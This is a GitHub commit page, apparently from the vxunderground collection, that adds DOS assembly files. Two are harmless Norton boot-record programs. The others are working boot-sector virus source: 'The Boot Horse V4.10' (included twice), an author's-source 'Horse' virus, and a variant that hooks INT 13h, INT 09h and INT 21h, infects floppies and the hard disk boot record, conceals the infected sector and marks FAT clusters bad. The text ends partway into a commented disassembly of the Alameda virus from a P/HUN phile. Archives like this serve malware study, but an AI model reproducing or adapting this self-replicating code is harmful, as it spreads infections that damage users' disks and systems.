Add files via upload

This commit is contained in:
vxunderground
2021-01-12 17:38:47 -06:00
committed by GitHub
parent 99a7802ac0
commit 06c1f4dfdd
97 changed files with 48423 additions and 0 deletions
+116
View File
@@ -0,0 +1,116 @@
; Boot Record Program (C) Copyright Peter Norton 1986
; From PC Magazine ca. January 1986
boots segment 'code'
public boot
assume cs:boots
boot proc far
; 30-byte DOS info -- set up for 2-sides, 9-sector
; change as needed for any other format
head:
jmp begin ; EB 2A 90 as per normal
db ' DE 1.0 ' ; 8-byte system id
dw 512 ; sector size in bytes
db 2 ; sectors per cluster
dw 1 ; reserved clusters
db 2 ; number of fats
dw 112 ; root directory entries
dw 760 ; total sectors
db 0FDh ; format id
dw 2 ; sectors per fat
dw 9 ; sectors per track
dw 2 ; sides
dw 0 ; special hidden sectors
; mysterious but apparently standard 14-byte filler
db 14 dup (0)
; carry on with the boot work
begin:
mov ax,07C0h ; boot record location
push ax
pop ds
mov bx,message_offset ; put offset to message into si
mov cx,message_length ; message length from cx
continue:
mov ah,14 ; write teletype
mov al,[bx]
push ds
push cx
push bx
int 10h
pop bx
pop cx
pop ds
inc bx
loop continue
mov ah,0 ; read next keyboard character
int 16h
mov ah,15 ; get video mode
int 10h
mov ah,0 ; set video mode (clears screen)
int 10h
int 19h ; re-boot
beg_message:
db 0Dh,0Ah ; carriage return, line-feed
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' Start your computer with'
db 0Dh,0Ah
db ' a DOS system diskette.'
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' This is'
db 0Dh,0Ah
db ' The Norton Utilities'
db 0Dh,0Ah
db ' Version 3.0'
db 0Dh,0Ah
db ' from'
db 0Dh,0Ah
db ' Peter Norton'
db 0Dh,0Ah
db ' 2210 Wilshire Blvd'
db 0Dh,0Ah
db ' Santa Monica, CA 90403'
db 0Dh,0Ah
db 0Dh,0Ah
db ' (213) 826-8092'
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' Insert a DOS diskette'
db 0Dh,0Ah
db ' Press any key to start DOS ... '
end_message:
; I put a copyright notice here; you do if you want to ...
tail:
message_offset equ beg_message - head
message_length equ end_message - beg_message
filler_amount equ 512 - (tail - head) - 2
db filler_amount dup (0) ; filler
db 055h,0AAh ; boot id
boot endp
boots ends
end

+115
View File
@@ -0,0 +1,115 @@
; Boot Record Program (C) Copyright Peter Norton 1986
boots segment 'code'
public boot
assume cs:boots
boot proc far
; 30-byte DOS info -- set up for 1-side, 8-sector
; change as needed for any other format
head:
jmp begin ; EB 2A 90 as per normal
db ' Norton ' ; 8-byte system id
dw 512 ; sector size in bytes
db 1 ; sectors per cluster
dw 1 ; reserved clusters
db 2 ; number of fats
dw 64 ; root directory entries
dw 320 ; total sectors
db 0FEh ; format id
dw 1 ; sectors per fat
dw 8 ; sectors per track
dw 1 ; sides
dw 0 ; special hidden sectors
; mysterious but apparently standard 14-byte filler
db 14 dup (0)
; carry on with the boot work
begin:
mov ax,07C0h ; boot record location
push ax
pop ds
mov bx,message_offset ; put offset to message into si
mov cx,message_length ; message length from cx
continue:
mov ah,14 ; write teletype
mov al,[bx]
push ds
push cx
push bx
int 10h
pop bx
pop cx
pop ds
inc bx
loop continue
mov ah,0 ; read next keyboard character
int 16h
mov ah,15 ; get video mode
int 10h
mov ah,0 ; set video mode (clears screen)
int 10h
int 19h ; re-boot
beg_message:
db 0Dh,0Ah ; carriage return, line-feed
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' Start your computer with'
db 0Dh,0Ah
db ' a DOS system diskette.'
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' This is'
db 0Dh,0Ah
db ' The Norton Utilities'
db 0Dh,0Ah
db ' Version 3.0'
db 0Dh,0Ah
db ' from'
db 0Dh,0Ah
db ' Peter Norton'
db 0Dh,0Ah
db ' 2210 Wilshire Blvd'
db 0Dh,0Ah
db ' Santa Monica, CA 90403'
db 0Dh,0Ah
db 0Dh,0Ah
db ' (213) 826-8092'
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db ' Insert a DOS diskette'
db 0Dh,0Ah
db ' Press any key to start DOS ... '
end_message:
; I put a copyright notice here; you do if you want to ...
tail:
message_offset equ beg_message - head
message_length equ end_message - beg_message
filler_amount equ 512 - (tail - head) - 2
db filler_amount dup (0) ; filler
db 055h,0AAh ; boot id
boot endp
boots ends
end

+257
View File
@@ -0,0 +1,257 @@
.radix 16
;******************************************
; *
; Code masters LTD. presents: *
; THE BOOT HORSE V4.10 *
; Finished on the 25.04.1991. *
; This is a boot virus,which does not *
; "cuts" memory.It places itself into the *
; second part of the interrupt table.If *
; it is resident you will not be able to *
; see the infected boot sector.If you *
; press CTRL-ALT-DEL & INT 13h had not *
; been changed,drive A: will be infected. *
; It shows you the message 'Brr...!' with *
; possibility 1/16. *
; Good luck! *
;******************************************
Start:
cld ;clear direction
xor ax,ax ;clear ax
mov bp,7c00 ;bp=7c00
mov ds,ax ;ds=ax=0
mov ss,ax ;ss=ax=0
mov sp,bp ;sp=bp=7c00
push ax ;save abs. addr. 0000:7c00 in stack for retf
push bp ;
xor di,di ;clear di
les bx,[di+9*4] ;load es:bx with current int 09h
mov word ptr [bp+old9h-Start],bx ;save it in a variable
mov word ptr [bp+old9h-Start+2],es
les bx,[di+13*4] ;load es:bx with current int 13h
mov word ptr [bp+old13h-Start],bx ;save it in a variable
mov word ptr [bp+old13h-Start+2],es
mov ax,0020 ;ax=20
mov [di+9*4],offset int9h-Start ;set int 09h
mov [di+9*4+2],ax
mov [di+13*4],offset int13h-Start ;set int 13h
mov [di+13*4+2],ax
mov es,ax ;es=ax=20
mov cx,0200 ;will move 512 bytes
mov si,bp ;si=bp=7c00
rep movsb ;move to 0020:0000 (vectors)
push es ;save es&ax for retf
mov ax,offset here-Start
push ax
retf ;go to 0020:here-Start
here:
test byte ptr [046C],0F ;show a message with possibility 1/16
jnz dont
mov si,offset msg-Start ;si point the message
mov cx,endmsg-msg ;strings to show
show_it:
db 26 ;ES:lodsb
lodsb ;load next char
mov ah,0e ;show char
xor bh,bh
int 10 ;do it
loop show_it ;show next
dont:
xor ah,ah ;initialize
int 13
mov es,cx ;es=cx=0
xchg ax,di
inc ax ;ax=201 =>read one sector.
mov bx,bp ;bx=bp=7c00
inc cx ;sector 1,cylinder 0.boot sector
mov dx,0080 ;dx=0080
cmp byte ptr cs:[ident-Start],dl ;if equal=>loading from hdd
je hard
push dx ;save dx
xor dl,dl ;drive A:
push ax ;save ax
int 13 ;read old bootsector from diskette
pop ax ;restore ax=201,read one sector
pop dx ;drive C:
mov bx,0600 ;bx=600
call ojoj ;read hdd's boot sector
jc goout ;no hdd installed
call check ;infected?
je goout ;yes ->out!
mov ax,0301 ;write one sector (save old)
push ax ;save ax
mov cx,0004 ;sector 4,cylinder 0
int 13 ;do it
mov byte ptr cs:[ident-Start],dl ;set identificator
push cs ;es=cs
pop es
mov si,07BE ;
mov di,01BE ; copy old partition
mov cx,64d ;
rep movsb ;
pop ax ;Write one sector,ax=301
xor bx,bx ;from addr ES:BX,bx=0 =>write virus
inc cx ;sector 1,cylinder 0.Boot sector.
hard:
int 13 ;do it
goout:
mov byte ptr cs:[ident-Start],0 ;set ident
retf ;go to 0000:7c00
int13h:
;save ax,ds
push ax
push ds
cmp ah,02 ;function read?
jne skip
cmp dl,80 ;drive A,B or C?
ja skip
cmp cx,0001 ;
jne notboot ;gonna read bootsector?
or dh,dh ;
jnz notboot ;
pop ds ;restore ax,ds
pop ax
call ojoj ;execute the task
jc all ;if error then no sence
pushf ;save some registers
push ax
push cx
push dx
call check ;infected?
jne notnow
mov ax,0201
inc cx ;if so then make some tricks
inc cx ;sector 3,cylinder 0
inc dh ;side 1
test dl,80 ;hdd?
je dolie ;if not then
inc cx ;sector 4,cylinder 0
dec dh ;side 0
dolie:
call ojoj ;read boot
notnow:
pop dx ;restore registers
pop cx
pop ax
popf
all:
; retf 0002 ;return to caller
db 0ca,2,0
notboot:
test dl,80 ;drive=C?
jne skip ;if so =>out!
xor ax,ax ;clear ax
mov ds,ax ;ds=ax=0
mov al,byte ptr [043F] ;this byte shows whether the motor is active
push dx ;save dx
inc dl ;adjust dl
test al,dl ;check if the motor is active.
pop dx ;restore dx
jnz skip ;if so =>leave
call infect ;infect it
skip:
pop ds ;restore flags,ax,ds
pop ax
do:
db 0EAh ;go to the original int 13h
old13h dd 000h ;JMP XXXX:XXXX
infect:
push bx ;save some registers
push cx
push dx
push es
mov ax,0201 ;will read 1 sector
mov cx,0001 ;sector 1,cylinder 0
xor dh,dh ;side 0
call ojoj ;do it
jc leave ;on error...
mov byte ptr cs:[count-Start],36d ;load counter
call check ;infected?
je leave ;leave if so.
mov ax,0301 ;write one sector
inc cx ;sector 3,cylinder 0
inc cx
inc dh ;side 1
push ax ;save ax
call ojoj ;do write (save old bootsector)
pop ax ;restore ax
jc leave ;write protected
push cs ;es=cs
pop es
xor bx,bx ;write virus
dec cx ;make cx=1
dec cx ;sector 1,cylinder 0
dec dh ;side 0
call ojoj ;that's it!
leave:
pop es ;restore registers
pop dx
pop cx
pop bx
ret ;return
ojoj:
pushf ;this calles the original int 13h
push cs
call do
ret
check:
cmp es:[bx],31FCh ;this checks the first 2 bytes
ret ;to understand if the disk is infected
int9h:
push ax ;the keybord interrupt.save AX
mov ah,02 ;check if ctrl-alt is pressed
int 16 ;
test al,00001100b ;if not =>exit
jz exit
in al,60 ;is del pressed?
cmp al,53
je cont ;if so...
exit:
pop ax ;restore ax
db 0EAh ;go to the old int 09h
old9h dd 000h ;JMP XXXX:XXXX
cont:
mov al,20 ;free interrupts
out 20,al ;do it
mov ax,0003 ;clear screen
int 10 ;do it
mov dx,03D8 ;chose video port
mov al,04 ;video flag
out dx,al ;no video
mov ax,0060 ;es=60
mov es,ax ;
xor bx,bx ;drive A
xor dl,dl ;bx=0
mov ds,bx ;dx=bx=0
mov byte ptr cs:[count-Start],18d ;load counter to 1 sec.
cli ;set int 1ch
mov [bx+1c*4],offset int1ch-Start
mov [bx+1c*4+2],cs
sti
cmp [bx+13*4],offset int13h-Start ;is int 13h changed?
jne reset ;if so reset computer
call infect ;infect disk in drive A
reset:
xor bx,bx
mov ds,bx ;don't count memory !
mov [bx+0472],1234
; JMP FFFF:0000 ;Reset
db 0ea,00,00,0ff,0ff
int1ch:
dec byte ptr cs:[count-Start] ;decrease counter
jz reset ;if zero then reset
iret ;otherwise continue
msg db 'Brr...!',7,0a,0dh, ;message
endmsg label word
ident db 0 ;0 for fdd,80 for hdd
count label byte
partition db 64d dup (?)
bootident dw 0AA55
endcode label word

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ;
+217
View File
@@ -0,0 +1,217 @@
;
; The Horse's boot sector virus
; This is an author's source
;
.radix 16
begin:
jmp start
my label word
db 'IBM 3.3'
dw 200
db 2
dw 1
db 2
dw 70
dw 2d0
db 0fdh
dw 2
dw 9
dw 2
dw 0
lee label word
virlen equ offset endcode-begin
start:
cld
sub ax,ax
mov ds,ax
mov bp,7c00
cli
mov ss,ax
mov sp,bp
sti
push ax
push bp
mov ax,[413]
push [13*4+2]
push [13*4]
pop word ptr [old13h+7c00-100]
pop word ptr [old13h+7c00-100+2]
dec ax
mov [413],ax
mov cl,6
shl ax,cl
mov es,ax
mov [13*4],offset int13h-100
mov [13*4+2],es
mov cx,virlen
sub di,di
mov si,bp
rep movsb
push es
mov ax,offset here-begin
push ax
retf
here:
sub ax,ax
mov es,ax
int 13
mov ax,0201
mov bx,bp
cmp byte ptr cs:[ident-100],0fdh
je from_disk
mov cx,0007
mov dx,0080
int 13
jmp exit
from_disk:
mov cx,2709
mov dx,0100
int 13
jc exit
push cs
push cs
pop es
pop ds
mov ax,0201
mov bx,0200
mov cx,0001
mov dx,0080
int 13
jc exit
call inf?
je exit
mov byte ptr [ident-100],0f8
mov ax,0301
mov bx,0200
mov cx,0007
mov dx,0080
int 13
jc exit
call move
mov ax,0301
sub bx,bx
mov cx,0001
int 13
exit:
mov byte ptr cs:[ident-100],0fdh
retf
int13h:
push ds
push ax
cmp dl,1
ja skip
cmp ah,2
jb skip
cmp ah,3
ja skip
sub ax,ax
mov ds,ax
mov al,[43f]
push dx
and ax,3
and dx,3
inc dl
test al,dl
pop dx
jne skip
call infect
skip:
pop ax
pop ds
do:
jmp dword ptr cs:[old13h-100]
infected?:
sub ax,ax
call ojoj
mov ax,0201
mov bx,0200
mov cx,0001
sub dh,dh
call ojoj
inf?:
mov si,offset start-100
mov di,offset start-100+200
mov cx,mbyte-start
rep cmpsb
return:
ret
infect:
push bx
push cx
push dx
push si
push di
push es
push cs
push cs
pop es
pop ds
cld
call infected?
je leave
mov ax,0301
mov bx,0200
mov cx,2709
mov dh,1
call ojoj
jc leave
call move
mov ax,0301
sub bx,bx
mov cx,0001
sub dh,dh
call ojoj
leave:
pop es
pop di
pop si
pop dx
pop cx
pop bx
ret
ojoj:
pushf
push cs
call do
ret
move:
mov di,offset my-100
mov si,offset my-100+200
mov cx,lee-my
rep movsb
mov di,offset usm-100
mov si,offset usm-100+200
mov cx,endcode-usm
rep movsb
ret
mbyte label word
old13h dd ?
ident db 0fdh
usm label word
db 135d dup (?)
db 55,0AA
endcode label word

+252
View File
@@ -0,0 +1,252 @@
.radix 16
;******************************************
; *
; Code masters LTD. presents: *
; THE BOOT HORSE V4.10 *
; Finished on the 25.04.1991. *
; This is a boot virus,which does not *
; "cuts" memory.It places itself into the *
; second part of the interrupt table.If *
; it is resident you will not be able to *
; see the infected boot sector.If you *
; press CTRL-ALT-DEL & INT 13h had not *
; been changed,drive A: will be infected. *
; It shows you the message 'Brr...!' with *
; possibility 1/16. *
; Good luck! *
;******************************************
Start:
cld ;clear direction
xor ax,ax ;clear ax
mov bp,7c00 ;bp=7c00
mov ds,ax ;ds=ax=0
mov ss,ax ;ss=ax=0
mov sp,bp ;sp=bp=7c00
push ax ;save abs. addr. 0000:7c00 in stack for retf
push bp ;
xor di,di ;clear di
les bx,[di+9*4] ;load es:bx with current int 09h
mov word ptr [bp+old9h-Start],bx ;save it in a variable
mov word ptr [bp+old9h-Start+2],es
les bx,[di+13*4] ;load es:bx with current int 13h
mov word ptr [bp+old13h-Start],bx ;save it in a variable
mov word ptr [bp+old13h-Start+2],es
mov ax,0020 ;ax=20
mov [di+9*4],offset int9h-Start ;set int 09h
mov [di+9*4+2],ax
mov [di+13*4],offset int13h-Start ;set int 13h
mov [di+13*4+2],ax
mov es,ax ;es=ax=20
mov cx,0200 ;will move 512 bytes
mov si,bp ;si=bp=7c00
rep movsb ;move to 0020:0000 (vectors)
push es ;save es&ax for retf
mov ax,offset here-Start
push ax
retf ;go to 0020:here-Start
here:
test byte ptr [046C],0F ;show a message with possibility 1/16
jnz dont
mov si,offset msg-Start ;si point the message
mov cx,endmsg-msg ;strings to show
show_it:
db 26 ;ES:lodsb
lodsb ;load next char
mov ah,0e ;show char
xor bh,bh
int 10 ;do it
loop show_it ;show next
dont:
xor ah,ah ;initialize
int 13
mov es,cx ;es=cx=0
xchg ax,di
inc ax ;ax=201 =>read one sector.
mov bx,bp ;bx=bp=7c00
inc cx ;sector 1,cylinder 0.boot sector
mov dx,0080 ;dx=0080
cmp byte ptr cs:[ident-Start],dl ;if equal=>loading from hdd
je hard
push dx ;save dx
xor dl,dl ;drive A:
push ax ;save ax
int 13 ;read old bootsector from diskette
pop ax ;restore ax=201,read one sector
pop dx ;drive C:
mov bx,0600 ;bx=600
call ojoj ;read hdd's boot sector
jc goout ;no hdd installed
call check ;infected?
je goout ;yes ->out!
mov ax,0301 ;write one sector (save old)
push ax ;save ax
mov cx,0004 ;sector 4,cylinder 0
int 13 ;do it
mov byte ptr cs:[ident-Start],dl ;set identificator
push cs ;es=cs
pop es
mov si,07BE ;
mov di,01BE ; copy old partition
mov cx,64d ;
rep movsb ;
pop ax ;Write one sector,ax=301
xor bx,bx ;from addr ES:BX,bx=0 =>write virus
inc cx ;sector 1,cylinder 0.Boot sector.
hard:
int 13 ;do it
goout:
mov byte ptr cs:[ident-Start],0 ;set ident
retf ;go to 0000:7c00
int13h:
;save ax,ds
push ax
push ds
cmp ah,02 ;function read?
jne skip
cmp dl,80 ;drive A,B or C?
ja skip
cmp cx,0001 ;
jne notboot ;gonna read bootsector?
or dh,dh ;
jnz notboot ;
pop ds ;restore ax,ds
pop ax
call ojoj ;execute the task
jc all ;if error then no sence
pushf ;save some registers
push ax
push cx
push dx
call check ;infected?
jne notnow
mov ax,0201
inc cx ;if so then make some tricks
inc cx ;sector 3,cylinder 0
inc dh ;side 1
test dl,80 ;hdd?
je dolie ;if not then
inc cx ;sector 4,cylinder 0
dec dh ;side 0
dolie:
call ojoj ;read boot
notnow:
pop dx ;restore registers
pop cx
pop ax
popf
all:
; retf 0002 ;return to caller
db 0ca,2,0
notboot:
test dl,80 ;drive=C?
jne skip ;if so =>out!
xor ax,ax ;clear ax
mov ds,ax ;ds=ax=0
mov al,byte ptr [043F] ;this byte shows whether the motor is active
push dx ;save dx
inc dl ;adjust dl
test al,dl ;check if the motor is active.
pop dx ;restore dx
jnz skip ;if so =>leave
call infect ;infect it
skip:
pop ds ;restore flags,ax,ds
pop ax
do:
db 0EAh ;go to the original int 13h
old13h dd 000h ;JMP XXXX:XXXX
infect:
push bx ;save some registers
push cx
push dx
push es
mov ax,0201 ;will read 1 sector
mov cx,0001 ;sector 1,cylinder 0
xor dh,dh ;side 0
call ojoj ;do it
jc leave ;on error...
mov byte ptr cs:[count-Start],36d ;load counter
call check ;infected?
je leave ;leave if so.
mov ax,0301 ;write one sector
inc cx ;sector 3,cylinder 0
inc cx
inc dh ;side 1
push ax ;save ax
call ojoj ;do write (save old bootsector)
pop ax ;restore ax
jc leave ;write protected
push cs ;es=cs
pop es
xor bx,bx ;write virus
dec cx ;make cx=1
dec cx ;sector 1,cylinder 0
dec dh ;side 0
call ojoj ;that's it!
leave:
pop es ;restore registers
pop dx
pop cx
pop bx
ret ;return
ojoj:
pushf ;this calles the original int 13h
push cs
call do
ret
check:
cmp es:[bx],31FCh ;this checks the first 2 bytes
ret ;to understand if the disk is infected
int9h:
push ax ;the keybord interrupt.save AX
mov ah,02 ;check if ctrl-alt is pressed
int 16 ;
test al,00001100b ;if not =>exit
jz exit
in al,60 ;is del pressed?
cmp al,53
je cont ;if so...
exit:
pop ax ;restore ax
db 0EAh ;go to the old int 09h
old9h dd 000h ;JMP XXXX:XXXX
cont:
mov al,20 ;free interrupts
out 20,al ;do it
mov ax,0003 ;clear screen
int 10 ;do it
mov dx,03D8 ;chose video port
mov al,04 ;video flag
out dx,al ;no video
mov ax,0060 ;es=60
mov es,ax ;
xor bx,bx ;drive A
xor dl,dl ;bx=0
mov ds,bx ;dx=bx=0
mov byte ptr cs:[count-Start],18d ;load counter to 1 sec.
cli ;set int 1ch
mov [bx+1c*4],offset int1ch-Start
mov [bx+1c*4+2],cs
sti
cmp [bx+13*4],offset int13h-Start ;is int 13h changed?
jne reset ;if so reset computer
call infect ;infect disk in drive A
reset:
xor bx,bx
mov ds,bx ;don't count memory !
mov [bx+0472],1234
; JMP FFFF:0000 ;Reset
db 0ea,00,00,0ff,0ff
int1ch:
dec byte ptr cs:[count-Start] ;decrease counter
jz reset ;if zero then reset
iret ;otherwise continue
msg db 'Brr...!',7,0a,0dh, ;message
endmsg label word
ident db 0 ;0 for fdd,80 for hdd
count label byte
partition db 64d dup (?)
bootident dw 0AA55
endcode label word

+434
View File
@@ -0,0 +1,434 @@
.radix 16
start:
jmp begin
db 'IBM 3.3'
dw 200
db 2
dw 1
db 2
dw 70
dw 2D0
db 0FDh
dw 2
dw 9
dw 2
dw 0
work dd ?
count db ?
drive db ?
Fat_sec dw ?
old_boot dw 666d
flag db ?
sys_sec dw ?
;Simulate PUSHA
pusha:
pop word ptr cs:[sys_sec-start]
pushf
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
jmp word ptr cs:[sys_sec-start]
;Simulate POPA
popa:
pop word ptr cs:[sys_sec-start]
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
jmp word ptr cs:[sys_sec-start]
;This procedure Reads/Writes the absolute sector in BX
;ES:BP must point I/O buffer
write:
mov ah,3
jmp short do_it
read:
mov ah,2
do_it:
mov al,1
xchg ax,bx
add ax,[001C] ;Hidden sectors
xor dx,dx
div word ptr [0018]
inc dl ;Adjust dl because BIOS counts sectors from 1 (not from 0)
mov ch,dl ;dl is the first sector
xor dx,dx
div word ptr [001A] ;Cylinder in AX
mov cl,6 ;Set CX if cylinder is bigger than 512
shl ah,cl
or ah,ch
xchg ax,cx
xchg ch,cl
xchg dh,dl
xchg ax,bx
abs_read:
xchg bx,bp
mov dl,byte ptr [drive-start] ;dl is the drive
pushf
db 9A
orig dd ?
jnc ok_func
pop ax
ok_func:
ret
begin:
xor ax,ax ;Virus begining
mov bp,7C00
mov ds,ax ;Clear ds&ss
mov ss,ax
mov sp,bp ;Set SP bellow virus
xchg ax,di
mov si,bp
mov ax,2000 ;Copy virus somewhere in memory
mov es,ax
mov cx,0100
rep movsw
push es
mov ax,offset here-start
push ax
retf ;go there
here:
mov ax,1234
cmp [80*4],ax
mov [80*4],ax
je skip_this
les bx,[1C*4] ;Get old int 1Ch value
mov cs:[work-start],bx
mov cs:[work-start+2],es
mov [1C*4],offset entry_1C-start ;Set new value
mov [1C*4+2],cs
skip_this:
les bx,[13*4] ;Save original int 13h
mov cs:[orig-start],bx
mov cs:[orig-start+2],es
push cs ;DS=ES=CS
push cs
pop ds
pop es
again:
mov ax,offset again-start
push ax
xor ah,ah ;Initialize Floppy
mov byte ptr [flag-start],ah
int 13
and byte ptr [drive-start],80 ;Drive A: or C:
mov bx,word ptr [old_boot-start] ;Read second part
mov bp,offset second-start
call read
mov bx,word ptr [old_boot-start]
inc bx
xor ax,ax
mov es,ax
mov bp,7C00
call read ;Read old Boot
db 0EA,00,7C,00,00 ;JMP 0000:7C00
entry_1C:
push si
push ds
xor si,si
mov ds,si
cmp [si+21*4],si
je not_yet
push bx
push es
les bx,cs:[si+work-start]
mov [si+1C*4],bx
mov [si+1C*4+2],es
les bx,[si+21*4]
mov word ptr cs:[si+jmp_21-start],bx
mov word ptr cs:[si+jmp_21-start+2],es
mov [si+21*4],offset go_on-start
mov [si+21*4+2],cs
pop es
pop bx
not_yet:
pop ds
pop si
iret
go_on:
call pusha
cmp ax,4B00
je install
return:
call popa
db 0EA
jmp_21 dd ?
install:
mov ah,52
int 21
xor si,si
xor di,di
mov ds,es:[bx-02]
mov bx,ds
mov ax,[si+3]
add [si+3],96
inc bx
add ax,bx
mov es,ax
push es
mov ax,es:[si+3]
sub ax,96
push ax
mov ax,[si+3]
add ax,bx
mov ds,ax
mov byte ptr [si],'Z'
mov [si+1],si
pop [si+3]
pop es
push cs
pop ds
mov cx,0200
rep movsw
mov ax,word ptr [jmp_21-start]
mov bx,word ptr [jmp_21-start+2]
mov ds,cx
mov [21*4],ax
mov [21*4+2],bx
mov ax,[13*4]
mov bx,[13*4+2]
mov es:[my-start],ax
mov es:[my-start+2],bx
mov [13*4],offset real-start
mov [13*4+2],es
jmp short return
real:
call pusha
cmp ah,02
jne exit
cmp dl,81
ja exit
mov byte ptr cs:[drive-start],dl
check:
xor ax,ax
mov ds,ax
mov byte ptr cs:[flag-start],al
mov al,byte ptr [043F]
push dx
test dl,80
jz ok_drive
sub dl,7F
shl dx,1
shl dx,1
dec dx
ok_drive:
inc dx
test al,dl
pop dx
jnz exit
push cs
push cs
pop es
pop ds
call infect
exit:
call popa
call_cur:
db 0EA
my dd ?
ident dw 01234
dw 0AA55
second label word
db '666'
infect:
push dx
xor ah,ah
int 1A
test dl,01
pop dx
jz bad
mov ax,0201
mov dh,0
mov cx,0001
mov bp,offset buffer-start
call abs_read
test dl,80
jz usual
mov bx,offset buffer-start+01BE
mov cx,0004
search:
cmp byte ptr [bx+4],1
je okay
cmp byte ptr [bx+4],4
je okay
add bx,10
loop search
ret
okay:
mov dx,[bx]
mov cx,[bx+2]
mov ax,0201
mov bp,offset buffer-start
call abs_read
usual:
mov si,offset buffer-start+3
mov di,0003
mov cx,1Bh
rep movsb
cmp [buffer-start+01FC],1234 ;Infected ?
jne well
bad:
ret
well:
cmp [0Bh],200 ;Bytes in sector
jne bad
cmp byte ptr [0Dh],2 ;Sectors in 1 cluster
jb bad
mov cx,[0E] ;Reserved dectors
mov al,[10] ;Copies of FAT
cbw
mul word ptr [16] ;FAT in sectors
add cx,ax
mov ax,20 ;32 bytes
mul word ptr [11] ;Elements in the catalogue
mov bx,1FF
add ax,bx
inc bx
div bx
add cx,ax
mov word ptr [sys_sec-start],cx ;system sectors
mov ax,[0013] ;Sectors on the disk
sub ax,cx
mov bl,[0Dh] ;Sectors in cluster
xor dx,dx
xor bh,bh
div bx
inc ax ;AX=clusters on disk
mov di,ax
and byte ptr [flag-start],0FE
cmp ax,0FF0
jbe small
or byte ptr [flag-start],1
small:
mov si,1
mov bx,[0E] ;Where to read FAT from
dec bx
mov [Fat_sec-start],bx
mov byte ptr [count-start],0FE
look_here:
inc word ptr [Fat_sec-start] ;Next sector in FAT
mov bx,[Fat_sec-start]
add byte ptr [count-start],2 ;Adjust for new offset
mov bp,offset buffer-start ;BP points buffer
call read ;Read FAT's sector
jmp short where
look:
mov ax,3 ;Multiply by 1.5 rounded down to integer number
test byte ptr [flag-start],1
je go_1
inc ax ;For 16 bit FAT
go_1:
mul si
shr ax,1
sub ah,byte ptr [count-start] ;Adjust offset in range of 512 bytes
mov bx,ax
cmp bx,1FF ;If reached the end then load next FAT sector
jnb look_here
mov dx,[bx+buffer-start] ;Information for this cluster
test byte ptr [flag-start],01
jne go_2
test si,1
je go_3
mov cl,4
shr dx,cl
go_3:
and dh,0F
go_2:
or dx,dx ;Free cluster ?
jz found
where:
inc si
cmp si,di
jbe look
ret
found:
mov dx,0FFF7 ;Prepare for marking it as bad
test byte ptr [flag-start],1
jnz go_4
and dh,0F
test si,1
je go_4
mov cl,4
shl dx,cl
go_4:
or [bx+buffer-start],dx ;Set it in FAT
mov bx,[Fat_sec-start]
mov bp,offset buffer-start
call write ;Update 1'st FAT copy
mov ax,si ;Convert cluster address in si to sector number
sub ax,2
mov bl,byte ptr [0Dh]
xor bh,bh
mul bx
add ax,[sys_sec-start]
mov si,ax ;Si is the sector that is free
xor bx,bx
mov bp,offset buffer-start
call read ;Read old BOOTSECTOR
mov bx,si ;Put it in a quiet place
inc bx
mov bp,offset buffer-start
call write ;Do that
mov bx,si
mov [old_boot-start],si
mov bp,offset second-start
call write
xor bx,bx
xor bp,bp
call write
ret
this_ db 1024d-(this_-start) dup (0F6h)
buffer label word

+431
View File
@@ -0,0 +1,431 @@
P/HUN Issue #4, Volume 2: Phile 3 of 11
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A BOOT SECTOR VIRUS
5/15/89
The following is a disassembled and commented version of the Alemeda
College Boot infector virus. Courtesy of Southern Cross.
;-----------------------------------------------------------------------;
; This virus is of the "FLOPPY ONLY" variety. ;
; It replicates to the boot sector of a floppy disk and when it gains control
; it will move itself to upper memory. It redirects the keyboard ;
; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ;
; it will attempt to infect any floppy it finds in drive A:. ;
; It keeps the real boot sector at track 39, sector 8, head 0 ;
; It does not map this sector bad in the fat (unlike the Pakistani Brain)
; and should that area be used by a file, the virus ;
; will die. It also contains no anti detection mechanisms as does the ;
; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ;
; sector 9 because this is common to all floppy formats both single ;
; sided and double sided. It does not contain any malevolent TROJAN ;
; HORSE code. It does appear to contain a count of how many times it ;
; has infected other diskettes although this is harmless and the count ;
; is never accessed. ;
; ;
; Things to note about this virus: ;
; It can not only live through an ALT-CTRL-DEL reboot command, but this ;
; is its primary (only for that matter) means of reproduction to other ;
; floppy diskettes. The only way to remove it from an infected system ;
; is to turn the machine off and reboot an uninfected copy of DOS. ;
; It is even resident when no floppy is booted but BASIC is loaded ;
; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ;
; it activates and infectes the floppy from which the user is ;
; attempting to boot. ;
; ;
; Also note that because of the POP CS command to pass control to ;
; its self in upper memory, this virus does not to work on 80286 ;
; machines (because this is not a valid 80286 instruction). ;
; ;
; The Norton Utilities can be used to identify infected diskettes by ;
; looking at the boot sector and the DOS SYS utility can be used to ;
; remove it (unlike the Pakistani Brain). ;
;-----------------------------------------------------------------------;
;
ORG 7C00H ;
;
TOS LABEL WORD ;TOP OF STACK
;-----------------------------------------------------------------------;
